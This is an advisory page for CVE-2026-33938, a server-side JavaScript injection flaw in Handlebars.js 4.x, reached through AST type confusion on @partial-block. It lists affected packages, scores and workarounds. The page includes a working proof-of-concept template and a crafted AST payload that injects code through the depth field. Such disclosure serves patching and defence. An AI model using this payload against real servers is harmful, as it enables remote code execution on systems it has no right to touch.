CVE-2026-33938
JSON

8.1high

Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block

Severity
8.1high CVSS:3.1 by GitHub_M
Exploit likelihood
0.98% (higher than 61% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-3mfm-83xf-c92r

Description

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path. Second, audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. Third, avoid registering helpers from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.

Affected

Product or packageVersionsReported by
handlebars-lang handlebars.js>= 4.0.0, < 4.7.9CVE List
cluster-observability-operator/logging-console-plugin-pf4-rhel9Not specified
Not affected: from 1782839279 before *
CVE List
cluster-observability-operator/logging-console-plugin-pf5-rhel9Not specified
Not affected: from 1782840539 before *
CVE List
cluster-observability-operator/troubleshooting-panel-console-plugin-pf6-rhel9Not specified
Not affected: from 1782839996 before *
CVE List
devspaces/code-rhel9Not specified
Not affected: from 1776744110 before *
CVE List
handlebarsNot specifiedCVE List
openshift-logging/elasticsearch6-rhel9Not specifiedCVE List
openshift-logging/elasticsearch-operator-bundleNot specifiedCVE List
openshift-logging/elasticsearch-proxy-rhel9Not specifiedCVE List
openshift-logging/elasticsearch-rhel9-operatorNot specifiedCVE List
openshift-logging/kibana6-rhel8Not specifiedCVE List
openshift-logging/logging-curator5-rhel9Not specifiedCVE List

All scores

GitHub_M8.1high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
redhat-SADP8.1high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub8.1high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-94CWE-843CWE-917

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path. Second, audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. Third, avoid registering helpers from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.

GitHub Advisory Database

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
  • Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
  • Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
NVD (es)

Handlebars proporciona la potencia necesaria para permitir a los usuarios construir plantillas semánticas. En las versiones 4.0.0 a 4.7.8, la variable especial “@partial-block” se almacena en el contexto de datos de la plantilla y es accesible y mutable desde dentro de una plantilla a través de helpers que aceptan objetos arbitrarios. Cuando un helper sobrescribe “@partial-block” con un AST de Handlebars manipulado, una invocación posterior de “{{> @partial-block}}” compila y ejecuta ese AST, permitiendo la ejecución arbitraria de JavaScript en el servidor. La versión 4.7.9 corrige el problema. Hay algunas soluciones alternativas disponibles. Primero, use la compilación solo en tiempo de ejecución (“require(’handlebars/runtime’)”). El método “compile()” está ausente, eliminando la ruta de reserva vulnerable. Segundo, audite los helpers registrados en busca de cualquiera que escriba valores arbitrarios en objetos de contexto. Los helpers deben tratar los datos de contexto como de solo lectura. Tercero, evite registrar helpers de paquetes de terceros (como “handlebars-helpers”) en contextos donde las plantillas o los datos de contexto puedan ser influenciados por entradas no confiables.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-33938 changed 2026-09-04CVE Terms of Use
GitHub Advisory DatabaseGHSA-3mfm-83xf-c92r changed 2026-09-10CC-BY-4.0
NVDCVE-2026-33938 changed 2026-10-26Public domain